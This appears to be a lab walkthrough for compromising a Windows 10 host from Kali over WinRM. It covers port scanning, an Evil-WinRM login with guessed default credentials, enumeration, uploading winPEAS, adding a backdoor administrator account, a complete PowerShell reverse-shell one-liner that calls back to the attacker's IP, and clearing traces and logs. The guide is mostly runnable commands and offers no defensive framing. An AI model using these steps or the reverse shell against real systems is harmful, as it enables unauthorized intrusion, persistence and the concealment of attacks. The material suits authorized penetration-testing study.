Overview:

- **Attacker (Kali)** IP: `10.10.1.3`
- **Victim (Windows 10)** IP: `10.10.1.10`
- **Goal**: Gain remote access and control over the victim machine.

Step 1: Reconnaissance

1.1. Discover Open Ports

The first step is to discover which ports are open on the target machine (`10.10.1.10`). You can use **Nmap** to perform a quick scan for common Windows ports:

```
nmap -sS -p 1-65535 -T4 10.10.1.10
```

This will scan all ports on the victim and help you identify any services running, including **WinRM** ports (`5985` for HTTP and `5986` for HTTPS), **SMB** ports (`445`), and more.

For a quicker check on WinRM ports specifically, you can run:

```
nmap -p 5985,5986 10.10.1.10
```

If **ports 5985 or 5986** are open, that means **WinRM** is accessible, which is essential for the next steps.

Step 2: Check WinRM Service

2.1. Verifying WinRM

Check if the **WinRM** service is configured and accessible. The default ports for **WinRM** are `5985` (HTTP) and `5986` (HTTPS), so **nmap** can help confirm that:

```
nmap -p 5985,5986 10.10.1.10
```

If **WinRM** is open, you can attempt to authenticate using **Evil-WinRM**.

Step 3: Gain Access with Evil-WinRM

3.1. Install Evil-WinRM on Kali

First, ensure **Evil-WinRM** is installed on your Kali machine. You can install it by running:

```
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
```

```
gem install evil-winrm
```

Alternatively, if you are using Kali, it can also be installed with `gem` directly:

```
gem install evil-winrm
```

3.2. Attempt to Authenticate with Credentials

Now, let's try to authenticate using **Evil-WinRM**. You need valid credentials to access the target machine. You could attempt to login with a commonly used default username and password like **Administrator**/ **Password123**.

Run the following command:

```
evil-winrm -i 10.10.1.10 -u Administrator -p Password123
```

If this works, you will get an interactive PowerShell session on the victim machine.

Example output after success:

```
Evil-WinRM shell v3.3

Info: Establishing connection to 10.10.1.10 ...
Info: Authenticating as Administrator ...

Administrator@WIN10-PC C:\Users\Administrator>
```

If the credentials don’t work, try a few common variations or attempt to find other credentials through **brute-forcing**, **password spraying**, or **using hashes** (more on that later).

Step 4: Exploit the Target

4.1. Basic Enumeration

Once inside the machine, it's time to perform basic enumeration. Start by gathering system information and checking for potential flags or user information.

1. **Check the current user:**
2. `whoami`
3. **List users on the machine:**
4. `net user`

   You may see users like `Administrator`, `Guest`, or other users that could be useful for privilege escalation.

5. **Check the local groups:**
6. `net localgroup administrators`

   This will show you the members of the local **Administrators** group, which is crucial for understanding potential privilege escalation paths.

4.2. Check for Shares and Open Ports

Enumerate the shares available on the machine:

```
net share
```

You might see something like:

```
Share name     Resource
------------------------------------------------
C$             C:\
ADMIN$         C:\Windows
IPC$           \pipe\svchost
```

This can give you insight into directories that are shared and might be useful for uploading or downloading files.

Check for open ports and active services on the victim:

```
netstat -an
```

Look for services like SMB (`445`) or RDP (`3389`), which might provide other avenues of attack.

Step 5: Upload Tools for Post-Exploitation

5.1. Upload a PowerShell Script

If you want to perform additional actions (e.g., privilege escalation, persistence), you can upload a PowerShell script. For example, you might upload **winPEAS** or **SharpUp** (to look for privilege escalation vectors).

To upload `winPEAS` to the victim's desktop:

```
upload /root/scripts/winPEAS.exe C:\Users\Administrator\Desktop\winPEAS.exe
```

Then execute the script:

```
execute C:\Users\Administrator\Desktop\winPEAS.exe
```

5.2. Privilege Escalation

`winPEAS` will attempt to find common privilege escalation vulnerabilities such as insecure file permissions, unquoted service paths, or missing patches. If you have already identified a potential weakness, you can exploit it to escalate your privileges to **SYSTEM**.

For example, you could attempt to **exploit unquoted service paths** or try **DLL hijacking** to escalate to **SYSTEM** privileges.

Step 6: Maintain Access

6.1. Add a New User

Once you have escalated privileges, you may want to maintain access by creating a new user with administrative privileges:

```
net user hacker P@ssw0rd /add
net localgroup administrators hacker /add
```

This creates a new user **hacker** with a password **P@ssw0rd** and adds them to the **Administrators** group.

6.2. Create a Reverse Shell (Optional)

You can also create a reverse shell for persistent access. Use PowerShell to create a reverse shell that connects back to your Kali machine.

For example, create a PowerShell reverse shell using **Netcat**:

```
execute powershell -Command "$client = New-Object
System.Net.Sockets.TCPClient('10.10.1.3',4444);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data
2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '>
';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$se
ndbyte.Length);$stream.Flush()}"
```

This will create a reverse shell that connects back to your Kali machine on port 4444.

Step 7: Clean Up (Optional)

Before leaving, ensure you remove any traces of your attack by:

1. **Removing uploaded tools**:
2. `del C:\Users\Administrator\Desktop\winPEAS.exe`
3. **Deleting the backdoor user**:
4. `net user hacker /delete`
5. **Clearing logs** (if applicable):
   You may also clear event logs or other traces of your activity using PowerShell or other tools.

Conclusion:

In this step-by-step process, you learned how to:

1. Scan for open WinRM ports.
2. Use Evil-WinRM to authenticate and gain a PowerShell shell.
3. Enumerate users and groups to understand the system.
4. Upload tools for privilege escalation.
5. Maintain access by creating a new user or reverse shell.

This process assumes you have basic credentials or the ability to guess/crack passwords. If you don't have valid credentials, other techniques like brute-forcing or exploiting weaknesses in the Windows configuration might be needed (for example, SMB or RDP vulnerabilities).